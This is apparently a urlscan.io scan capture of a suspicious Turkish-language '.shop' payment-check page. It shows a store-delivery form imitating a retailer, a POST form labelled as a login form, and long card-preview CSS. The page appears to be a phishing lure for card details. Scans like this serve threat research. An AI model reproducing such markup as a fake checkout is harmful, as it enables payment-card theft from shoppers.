62326436546.shop
Open in
urlscan Pro
154.216.16.84
Public Scan
URL:
https://62326436546.shop/odeme-kontrol.php
Submission: On December 25 via api from TR — Scanned from DE
Submission: On December 25 via api from TR — Scanned from DE
Form analysis 2 forms found in the DOM
<form id="store-modal-filtre" onsubmit="return false;"><input type="hidden" name="store_modal_type" value="2">
<div class="storeDeliveryContent">Teslimatınızı bazı ürünler için aynı gün, diğer ürünler içinse ürün mağazaya ulaştırıldıktan sonra tarafınıza iletilecek bilgilendirme mesajıyla kolayca alın. </div>
<div class="storeDeliveryInfoImgContainer">
<div class="storeDeliveryFirstStep">
<div class="storeDeliveryFirstStepContainer">
<div class="storeDeliveryFirstStepCircle"><img src="/sadece-online-ozel/catalog/view/assets/images/icons/address-location.svg"></div>
<div class="storeDeliveryFirstNumber"><b>1</b></div>
<div class="storeDeliveryFirstDesc">En yakın mağazayı seç sipariş ver</div>
</div>
</div>
<div class="storeDeliveryLine"></div>
<div class="storeDeliverySecondStep">
<div class="storeDeliverySecondStepContainer">
<div class="storeDeliverySecondStepCircle"><img src="/sadece-online-ozel/catalog/view/assets/images/icons/address-basket.svg"></div>
<div class="storeDeliverySecondNumber"><b>2</b></div>
<div class="storeDeliverySecondDesc">0-4 gün içerisinde siparişini mağazadan teslim al </div>
</div>
</div>
</div>
<div class="storeDeliveryLocationButtonContainer">
<button class="krc-btn krc-btn-border locationBtn store-location-button">En Yakın Mağazaları Göster </button>
</div>
<div class="form-row locationSelectLine">
<div class="form-group col-md-12 select">
<label>İlçe</label>
<input type="text" name="ilce" class="form-control" id="inputIlce">
</div>
</div>
<div class="form-group store-fast-filtre-checkbox"><input type="checkbox" name="store-fast-filtre" value="1" id="sameDayDelivery" class="checkbox"><label for="sameDayDelivery" class="checkboxLabel">
<div><i class="krc-okay"></i></div> Aynı Gün Teslimat Geçerli Mağazalar
</label></div>
</form>Name: infoForm — POST
<form action="" name="infoForm" method="post" id="loginForm" autocomplete="off">
<div class="row">
<div class="col-sm-12 col-lg-8 left">
<div id="deliveryWrap" class="deliveryWrap">
<style>
.jp-card.jp-card-safari.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-safari.jp-card-identified .jp-card-back:before {
background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), -webkit-linear-gradient(-245deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%);
background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), linear-gradient(-25deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%)
}
.jp-card.jp-card-ie-10.jp-card-flipped,
.jp-card.jp-card-ie-11.jp-card-flipped {
-webkit-transform: 0deg;
-moz-transform: 0deg;
-ms-transform: 0deg;
-o-transform: 0deg;
transform: 0deg
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-front,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-front {
-webkit-transform: rotateY(0deg);
-moz-transform: rotateY(0deg);
-ms-transform: rotateY(0deg);
-o-transform: rotateY(0deg);
transform: rotateY(0deg)
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back {
-webkit-transform: rotateY(0deg);
-moz-transform: rotateY(0deg);
-ms-transform: rotateY(0deg);
-o-transform: rotateY(0deg);
transform: rotateY(0deg)
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back:after,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back:after {
left: 18%
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-cvc,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-cvc {
-webkit-transform: rotateY(180deg);
-moz-transform: rotateY(180deg);
-ms-transform: rotateY(180deg);
-o-transform: rotateY(180deg);
transform: rotateY(180deg);
left: 5%
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-shiny,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-shiny {
left: 84%
}
.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-shiny:after,
.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-shiny:after {
left: -480%;
-webkit-transform: rotateY(180deg);
-moz-transform: rotateY(180deg);
-ms-transform: rotateY(180deg);
-o-transform: rotateY(180deg);
transform: rotateY(180deg)
}
.jp-card.jp-card-ie-10.jp-card-amex .jp-card-back,
.jp-card.jp-card-ie-11.jp-card-amex .jp-card-back {
display: none
}
.jp-card-logo {
height: 36px;
width: 60px;
font-style: italic
}
.jp-card-logo,
.jp-card-logo:before,
.jp-card-logo:after {
box-sizing: border-box
}
.jp-card-logo.jp-card-amex {
text-transform: uppercase;
font-size: 4px;
font-weight: bold;
color: white;
background-image: repeating-radial-gradient(circle at center, #fff 1px, #999 2px);
background-image: repeating-radial-gradient(circle at center, #fff 1px, #999 2px);
border: 1px solid #EEE
}
.jp-card-logo.jp-card-amex:before,
.jp-card-logo.jp-card-amex:after {
width: 28px;
display: block;
position: absolute;
left: 16px
}
.jp-card-logo.jp-card-amex:before {
height: 28px;
content: "american";
top: 3px;
text-align: left;
padding-left: 2px;
padding-top: 11px;
background: #267AC3
}
.jp-card-logo.jp-card-amex:after {
content: "express";
bottom: 11px;
text-align: right;
padding-right: 2px
}
.jp-card.jp-card-amex.jp-card-flipped {
-webkit-transform: none;
-moz-transform: none;
-ms-transform: none;
-o-transform: none;
transform: none
}
.jp-card.jp-card-amex.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-amex.jp-card-identified .jp-card-back:before {
background-color: #108168
}
.jp-card.jp-card-amex.jp-card-identified .jp-card-front .jp-card-logo.jp-card-amex {
opacity: 1
}
.jp-card.jp-card-amex.jp-card-identified .jp-card-front .jp-card-cvc {
visibility: visible
}
.jp-card.jp-card-amex.jp-card-identified .jp-card-front:after {
opacity: 1
}
.jp-card-logo.jp-card-discover {
background: #f60;
color: #111;
text-transform: uppercase;
font-style: normal;
font-weight: bold;
font-size: 10px;
text-align: center;
overflow: hidden;
z-index: 1;
padding-top: 9px;
letter-spacing: .03em;
border: 1px solid #EEE
}
.jp-card-logo.jp-card-discover:before,
.jp-card-logo.jp-card-discover:after {
content: " ";
display: block;
position: absolute
}
.jp-card-logo.jp-card-discover:before {
background: white;
width: 200px;
height: 200px;
border-radius: 200px;
bottom: -5%;
right: -80%;
z-index: -1
}
.jp-card-logo.jp-card-discover:after {
width: 8px;
height: 8px;
border-radius: 4px;
top: 10px;
left: 27px;
background-color: #f60;
background-image: -webkit-radial-gradient(#f60, #fff);
background-image: radial-gradient(#f60, #fff);
content: "network";
font-size: 4px;
line-height: 24px;
text-indent: -7px
}
.jp-card .jp-card-front .jp-card-logo.jp-card-discover {
right: 12%;
top: 18%
}
.jp-card.jp-card-discover.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-discover.jp-card-identified .jp-card-back:before {
background-color: #86B8CF
}
.jp-card.jp-card-discover.jp-card-identified .jp-card-logo.jp-card-discover {
opacity: 1
}
.jp-card.jp-card-discover.jp-card-identified .jp-card-front:after {
-webkit-transition: 400ms;
-moz-transition: 400ms;
transition: 400ms;
content: " ";
display: block;
background-color: #f60;
background-image: -webkit-linear-gradient(#f60, #ffa366, #f60);
background-image: linear-gradient(#f60, #ffa366, #f60);
height: 50px;
width: 50px;
border-radius: 25px;
position: absolute;
left: 100%;
top: 15%;
margin-left: -25px;
box-shadow: inset 1px 1px 3px 1px rgba(0, 0, 0, 0.5)
}
.jp-card-logo.jp-card-unionpay {
width: 60px;
display: block;
height: 40px;
background: #e21836;
-webkit-transform: skew(-15deg);
-moz-transform: skew(20deg);
-o-transform: skew(20deg);
border-radius: 5px;
font-size: 10px;
z-index: 1;
line-height: 33px;
color: #fff;
text-align: center;
font-family: "Sans-serif", "Microsoft Yahei", "\5FAE\8F6F\96C5\9ED1", "Hiragino Sans", "Gulim", "\5B8B\4F53";
font-weight: bold
}
.jp-card-logo.jp-card-unionpay:after,
.jp-card-logo.jp-card-unionpay:before {
display: block;
margin: 0 auto;
position: absolute;
height: 40px;
top: 0;
z-index: -1
}
.jp-card-logo.jp-card-unionpay:before {
content: " ";
width: 28px;
background: #00447c;
left: 14px;
border-top-left-radius: 5px;
border-bottom-left-radius: 5px
}
.jp-card-logo.jp-card-unionpay:after {
content: "银联";
width: 26px;
background: #007b84;
left: 34px;
border-radius: 5px;
font-size: 10px;
line-height: 54px;
text-indent: -17px
}
.jp-card.jp-card-unionpay.jp-card-identified .jp-card-back:before,
.jp-card.jp-card-unionpay.jp-card-identified .jp-card-front:before {
background-color: #987c00
}
.jp-card.jp-card-unionpay.jp-card-identified .jp-card-logo.jp-card-unionpay {
opacity: 1
}
.jp-card-logo.jp-card-visa {
text-transform: uppercase;
color: white;
text-align: center;
font-weight: bold;
font-size: 24px;
line-height: 18px;
margin-top: 5px
}
.jp-card-logo.jp-card-visa:before,
.jp-card-logo.jp-card-visa:after {
content: " ";
display: block;
width: 100%;
height: 25%
}
.jp-card-logo.jp-card-visa:before {
position: absolute;
left: -4px;
width: 0;
height: 0;
border-style: solid;
border-width: 0 12px 6px 0;
border-color: transparent #ffffff transparent transparent
}
.jp-card.jp-card-visa.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-visa.jp-card-identified .jp-card-back:before {
background-color: #191278
}
.jp-card.jp-card-visa.jp-card-identified .jp-card-logo.jp-card-visa {
opacity: 1;
box-shadow: none
}
.jp-card-logo.jp-card-visaelectron {
background: white;
text-transform: uppercase;
color: #1A1876;
text-align: center;
font-weight: bold;
font-size: 15px;
line-height: 18px
}
.jp-card-logo.jp-card-visaelectron:before,
.jp-card-logo.jp-card-visaelectron:after {
content: " ";
display: block;
width: 100%;
height: 25%
}
.jp-card-logo.jp-card-visaelectron:before {
background: #1A1876
}
.jp-card-logo.jp-card-visaelectron:after {
background: #E79800
}
.jp-card-logo.jp-card-visaelectron .elec {
float: right;
font-family: arial;
font-size: 9px;
margin-right: 1px;
margin-top: -5px;
text-transform: none
}
.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-back:before {
background-color: #191278
}
.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-logo.jp-card-visaelectron {
opacity: 1
}
.jp-card-logo.jp-card-mastercard {
color: white;
font-style: normal;
text-transform: lowercase;
font-weight: bold;
text-align: center;
font-size: 9px;
line-height: 84px;
z-index: 1;
text-shadow: 1px 1px rgba(0, 0, 0, 0.6)
}
.jp-card-logo.jp-card-mastercard:before,
.jp-card-logo.jp-card-mastercard:after {
content: " ";
display: block;
width: 36px;
top: 0;
position: absolute;
height: 36px;
border-radius: 18px
}
.jp-card-logo.jp-card-mastercard:before {
left: 0;
background: #EB001B;
z-index: -1;
opacity: 0.9
}
.jp-card-logo.jp-card-mastercard:after {
right: 0;
background: #FF5F00;
z-index: -2
}
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-front .jp-card-logo.jp-card-mastercard,
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-back .jp-card-logo.jp-card-mastercard {
box-shadow: none
}
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-back:before {
background-color: #0061A8
}
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-logo.jp-card-mastercard {
opacity: 1
}
.jp-card-logo.jp-card-maestro {
color: white;
font-style: normal;
text-transform: lowercase;
font-weight: bold;
text-align: center;
font-size: 14px;
line-height: 84px;
z-index: 1;
text-shadow: 1px 1px rgba(0, 0, 0, 0.6)
}
.jp-card-logo.jp-card-maestro:before,
.jp-card-logo.jp-card-maestro:after {
content: " ";
display: block;
width: 36px;
top: 0;
position: absolute;
height: 36px;
border-radius: 18px
}
.jp-card-logo.jp-card-maestro:before {
left: 0;
background: #EB001B;
z-index: -2
}
.jp-card-logo.jp-card-maestro:after {
right: 0;
background: #00A2E5;
z-index: -1;
opacity: 0.8
}
.jp-card.jp-card-maestro.jp-card-identified .jp-card-front .jp-card-logo.jp-card-maestro,
.jp-card.jp-card-maestro.jp-card-identified .jp-card-back .jp-card-logo.jp-card-maestro {
box-shadow: none
}
.jp-card.jp-card-maestro.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-maestro.jp-card-identified .jp-card-back:before {
background-color: #0B2C5F
}
.jp-card.jp-card-maestro.jp-card-identified .jp-card-logo.jp-card-maestro {
opacity: 1
}
.jp-card-logo.jp-card-dankort {
width: 60px;
height: 36px;
padding: 3px;
border-radius: 8px;
border: #000 1px solid;
background-color: #fff
}
.jp-card-logo.jp-card-dankort .dk {
position: relative;
width: 100%;
height: 100%;
overflow: hidden
}
.jp-card-logo.jp-card-dankort .dk:before {
background-color: #ED1C24;
content: '';
position: absolute;
width: 100%;
height: 100%;
display: block;
border-radius: 6px
}
.jp-card-logo.jp-card-dankort .dk:after {
content: '';
position: absolute;
top: 50%;
margin-top: -7.7px;
right: 0;
width: 0;
height: 0;
border-style: solid;
border-width: 7px 7px 10px 0;
border-color: transparent #ED1C24 transparent transparent;
z-index: 1
}
.jp-card-logo.jp-card-dankort .d,
.jp-card-logo.jp-card-dankort .k {
position: absolute;
top: 50%;
width: 50%;
display: block;
height: 15.4px;
margin-top: -7.7px;
background: white
}
.jp-card-logo.jp-card-dankort .d {
left: 0;
border-radius: 0 8px 10px 0
}
.jp-card-logo.jp-card-dankort .d:before {
content: '';
position: absolute;
top: 50%;
left: 50%;
display: block;
background: #ED1C24;
border-radius: 2px 4px 6px 0px;
height: 5px;
width: 7px;
margin: -3px 0 0 -4px
}
.jp-card-logo.jp-card-dankort .k {
right: 0
}
.jp-card-logo.jp-card-dankort .k:before,
.jp-card-logo.jp-card-dankort .k:after {
content: '';
position: absolute;
right: 50%;
width: 0;
height: 0;
border-style: solid;
margin-right: -1px
}
.jp-card-logo.jp-card-dankort .k:before {
top: 0;
border-width: 8px 5px 0 0;
border-color: #ED1C24 transparent transparent transparent
}
.jp-card-logo.jp-card-dankort .k:after {
bottom: 0;
border-width: 0 5px 8px 0;
border-color: transparent transparent #ED1C24 transparent
}
.jp-card.jp-card-dankort.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-dankort.jp-card-identified .jp-card-back:before {
background-color: #0055C7
}
.jp-card.jp-card-dankort.jp-card-identified .jp-card-logo.jp-card-dankort {
opacity: 1
}
.jp-card-logo.jp-card-elo {
height: 50px;
width: 50px;
border-radius: 100%;
background: black;
color: white;
text-align: center;
text-transform: lowercase;
font-size: 21px;
font-style: normal;
letter-spacing: 1px;
font-weight: bold;
padding-top: 13px
}
.jp-card-logo.jp-card-elo .e,
.jp-card-logo.jp-card-elo .l,
.jp-card-logo.jp-card-elo .o {
display: inline-block;
position: relative
}
.jp-card-logo.jp-card-elo .e {
-webkit-transform: rotate(-15deg);
-moz-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
-o-transform: rotate(-15deg);
transform: rotate(-15deg)
}
.jp-card-logo.jp-card-elo .o {
position: relative;
display: inline-block;
width: 12px;
height: 12px;
right: 0;
top: 7px;
border-radius: 100%;
background-image: -webkit-linear-gradient(#ff0 50%, red 50%);
background-image: linear-gradient(#ff0 50%, red 50%);
-webkit-transform: rotate(40deg);
-moz-transform: rotate(40deg);
-ms-transform: rotate(40deg);
-o-transform: rotate(40deg);
transform: rotate(40deg);
text-indent: -9999px
}
.jp-card-logo.jp-card-elo .o:before {
content: "";
position: absolute;
width: 49%;
height: 49%;
background: black;
border-radius: 100%;
text-indent: -99999px;
top: 25%;
left: 25%
}
.jp-card.jp-card-elo.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-elo.jp-card-identified .jp-card-back:before {
background-color: #6F6969
}
.jp-card.jp-card-elo.jp-card-identified .jp-card-logo.jp-card-elo {
opacity: 1
}
.jp-card-logo.jp-card-jcb {
border-radius: 5px 0px 5px 0px;
-moz-border-radius: 5px 0px 5px 0px;
-webkit-border-radius: 5px 0px 5px 0px;
background-color: white;
font-style: normal;
color: white;
width: 50px;
padding: 2px 0 0 2px
}
.jp-card-logo.jp-card-jcb>div {
width: 15px;
margin-right: 1px;
display: inline-block;
text-align: center;
text-shadow: 1px 1px rgba(0, 0, 0, 0.6);
border-radius: 5px 0px 5px 0px;
-moz-border-radius: 5px 0px 5px 0px;
-webkit-border-radius: 5px 0px 5px 0px
}
.jp-card-logo.jp-card-jcb>div:before,
.jp-card-logo.jp-card-jcb>div:after {
content: " ";
display: block;
height: 8px
}
.jp-card-logo.jp-card-jcb>div.j {
background-color: #000063;
background-image: -webkit-linear-gradient(left, #000063, #008cff);
background-image: linear-gradient(to right, #000063, #008cff)
}
.jp-card-logo.jp-card-jcb>div.c {
background-color: #630000;
background-image: -webkit-linear-gradient(left, #630000, #ff008d);
background-image: linear-gradient(to right, #630000, #ff008d)
}
.jp-card-logo.jp-card-jcb>div.b {
background-color: #006300;
background-image: -webkit-linear-gradient(left, #006300, lime);
background-image: linear-gradient(to right, #006300, lime)
}
.jp-card.jp-card-jcb.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-jcb.jp-card-identified .jp-card-back:before {
background-color: #CB8000
}
.jp-card.jp-card-jcb.jp-card-identified .jp-card-logo.jp-card-jcb {
opacity: 1;
box-shadow: none
}
.jp-card-logo.jp-card-dinersclub {
font-family: serif;
height: 40px;
width: 100px;
color: white;
font-size: 17px;
font-style: normal;
letter-spacing: 1px
}
.jp-card-logo.jp-card-dinersclub::before,
.jp-card-logo.jp-card-dinersclub::after {
display: block;
position: relative
}
.jp-card-logo.jp-card-dinersclub::before {
content: 'Diners Club'
}
.jp-card-logo.jp-card-dinersclub::after {
content: 'International';
text-transform: uppercase;
font-size: 0.6em
}
.jp-card.jp-card-dinersclub .jp-card-front .jp-card-logo {
box-shadow: none !important
}
.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-back:before {
background-color: #999
}
.jp-card.jp-card-dinersclub.jp-card-identified .jp-card-logo.jp-card-dinersclub {
opacity: 1
}
.jp-card-logo.jp-card-hipercard {
height: 20px;
width: 100px;
color: white;
font-size: 21px;
font-style: italic;
font-weight: bold
}
.jp-card-logo.jp-card-hipercard::before,
.jp-card-logo.jp-card-hipercard::after {
display: block;
position: relative
}
.jp-card.jp-card-hipercard.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-hipercard.jp-card-identified .jp-card-back:before {
background-color: #770304
}
.jp-card.jp-card-hipercard.jp-card-identified .jp-card-logo.jp-card-hipercard {
opacity: 1;
box-shadow: none
}
.jp-card-logo.jp-card-troy {
text-transform: lowercase;
color: #fff;
text-align: center;
font-weight: 700;
font-size: 24px;
line-height: 18px;
margin-top: 5px
}
.jp-card-logo.jp-card-troy:before,
.jp-card-logo.jp-card-troy:after {
content: \"\";
display: block;
width: 26%;
height: 6%;
background: #22b8c3;
right: 32%;
top: 24%;
position: absolute;
transform: rotate(105deg)
}
.jp-card.jp-card-troy.jp-card-identified .jp-card-front:before,
.jp-card.jp-card-troy.jp-card-identified .jp-card-back:before {
background-color: #01adba
}
.jp-card.jp-card-troy.jp-card-identified .jp-card-logo.jp-card-troy {
opacity: 1;
box-shadow: none
}
.jp-card-container {
-webkit-perspective: 1000px;
-moz-perspective: 1000px;
perspective: 1000px;
width: 350px;
max-width: 100%;
height: 200px;
margin: auto;
z-index: 1;
position: relative
}
.jp-card {
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
line-height: 1;
position: relative;
width: 100%;
height: 100%;
min-width: 315px;
border-radius: 10px;
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
-ms-transform-style: preserve-3d;
-o-transform-style: preserve-3d;
transform-style: preserve-3d;
-webkit-transition: all 400ms linear;
-moz-transition: all 400ms linear;
transition: all 400ms linear
}
.jp-card>*,
.jp-card>*:after,
.jp-card>*:before {
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
font-family: inherit
}
.jp-card.jp-card-flipped {
-webkit-transform: rotateY(180deg);
-moz-transform: rotateY(180deg);
-ms-transform: rotateY(180deg);
-o-transform: rotateY(180deg);
transform: rotateY(180deg)
}
.jp-card .jp-card-back,
.jp-card .jp-card-front {
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
-ms-transform-style: preserve-3d;
-o-transform-style: preserve-3d;
transform-style: preserve-3d;
-webkit-transition: all 400ms linear;
-moz-transition: all 400ms linear;
transition: all 400ms linear;
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: hidden;
border-radius: 10px;
background: #ddd
}
.jp-card .jp-card-back:before,
.jp-card .jp-card-front:before {
content: " ";
display: block;
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
opacity: 0;
border-radius: 10px;
-webkit-transition: all 400ms ease;
-moz-transition: all 400ms ease;
transition: all 400ms ease
}
.jp-card .jp-card-back:after,
.jp-card .jp-card-front:after {
content: " ";
display: block
}
.jp-card .jp-card-back .jp-card-display,
.jp-card .jp-card-front .jp-card-display {
color: #fff;
font-weight: normal;
opacity: 0.5;
-webkit-transition: opacity 400ms linear;
-moz-transition: opacity 400ms linear;
transition: opacity 400ms linear
}
.jp-card .jp-card-back .jp-card-display.jp-card-focused,
.jp-card .jp-card-front .jp-card-display.jp-card-focused {
opacity: 1;
font-weight: 700
}
.jp-card .jp-card-back .jp-card-cvc,
.jp-card .jp-card-front .jp-card-cvc {
font-family: "Bitstream Vera Sans Mono", Consolas, Courier, monospace;
font-size: 14px
}
.jp-card .jp-card-back .jp-card-shiny,
.jp-card .jp-card-front .jp-card-shiny {
width: 50px;
height: 35px;
border-radius: 5px;
background: #ccc;
position: relative
}
.jp-card .jp-card-back .jp-card-shiny:before,
.jp-card .jp-card-front .jp-card-shiny:before {
content: " ";
display: block;
width: 70%;
height: 60%;
border-top-right-radius: 5px;
border-bottom-right-radius: 5px;
background: #d9d9d9;
position: absolute;
top: 20%
}
.jp-card .jp-card-front .jp-card-logo {
position: absolute;
opacity: 0;
right: 5%;
top: 8%;
-webkit-transition: 400ms;
-moz-transition: 400ms;
transition: 400ms
}
.jp-card .jp-card-front .jp-card-lower {
width: 80%;
position: absolute;
left: 10%;
bottom: 30px
}
@media only screen and (max-width: 480px) {
.jp-card .jp-card-front .jp-card-lower {
width: 90%;
left: 5%
}
}
.jp-card .jp-card-front .jp-card-lower .jp-card-cvc {
visibility: hidden;
float: right;
position: relative;
bottom: 5px
}
.jp-card .jp-card-front .jp-card-lower .jp-card-number {
font-family: "Bitstream Vera Sans Mono", Consolas, Courier, monospace;
font-size: 24px;
clear: both;
margin-bottom: 30px
}
.jp-card .jp-card-front .jp-card-lower .jp-card-expiry {
font-family: "Bitstream Vera Sans Mono", Consolas, Courier, monospace;
letter-spacing: 0;
position: relative;
float: right;
width: 25%
}
.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:after,
.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:before {
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: bold;
font-size: 7px;
white-space: pre;
display: block;
opacity: 0.5
}
.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:before {
content: attr(data-before);
margin-bottom: 2px;
font-size: 7px;
text-transform: uppercase
}
.jp-card .jp-card-front .jp-card-lower .jp-card-expiry:after {
position: absolute;
content: attr(data-after);
text-align: right;
right: 100%;
margin-right: 5px;
margin-top: 2px;
bottom: 0
}
.jp-card .jp-card-front .jp-card-lower .jp-card-name {
text-transform: uppercase;
font-family: "Bitstream Vera Sans Mono", Consolas, Courier, monospace;
font-size: 20px;
max-height: 45px;
position: absolute;
bottom: 0;
width: 190px;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: horizontal;
overflow: hidden;
text-overflow: ellipsis
}
.jp-card .jp-card-back {
-webkit-transform: rotateY(180deg);
-moz-transform: rotateY(180deg);
-ms-transform: rotateY(180deg);
-o-transform: rotateY(180deg);
transform: rotateY(180deg)
}
.jp-card .jp-card-back .jp-card-bar {
background-color: #444;
background-image: -webkit-linear-gradient(#444, #333);
background-image: linear-gradient(#444, #333);
width: 100%;
height: 20%;
position: absolute;
top: 10%
}
.jp-card .jp-card-back:after {
content: " ";
display: block;
background-color: #fff;
background-image: -webkit-linear-gradient(#fff, #fff);
background-image: linear-gradient(#fff, #fff);
width: 80%;
height: 16%;
position: absolute;
top: 40%;
left: 2%
}
.jp-card .jp-card-back .jp-card-cvc {
position: absolute;
top: 40%;
left: 85%;
-webkit-transition-delay: 600ms;
-moz-transition-delay: 600ms;
transition-delay: 600ms
}
.jp-card .jp-card-back .jp-card-shiny {
position: absolute;
top: 66%;
left: 2%
}
.jp-card .jp-card-back .jp-card-shiny:after {
content: "This card has been issued by Jesse Pollak and is licensed for anyone to use anywhere for free. It comes with no warranty. For support issues, please visit: github.com/jessepollak/card.";
position: absolute;
left: 120%;
top: 5%;
color: white;
font-size: 7px;
width: 230px;
opacity: 0.5
}
.jp-card.jp-card-identified {
box-shadow: 0 0 20px rgba(0, 0, 0, 0.3)
}
.jp-card.jp-card-identified .jp-card-back,
.jp-card.jp-card-identified .jp-card-front {
background-color: #000;
background-color: rgba(0, 0, 0, 0.5)
}
.jp-card.jp-card-identified .jp-card-back:before,
.jp-card.jp-card-identified .jp-card-front:before {
-webkit-transition: all 400ms ease;
-moz-transition: all 400ms ease;
transition: all 400ms ease;
background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 30% 30%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 70% 70%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 90% 20%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 15% 80%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), -webkit-linear-gradient(-245deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%);
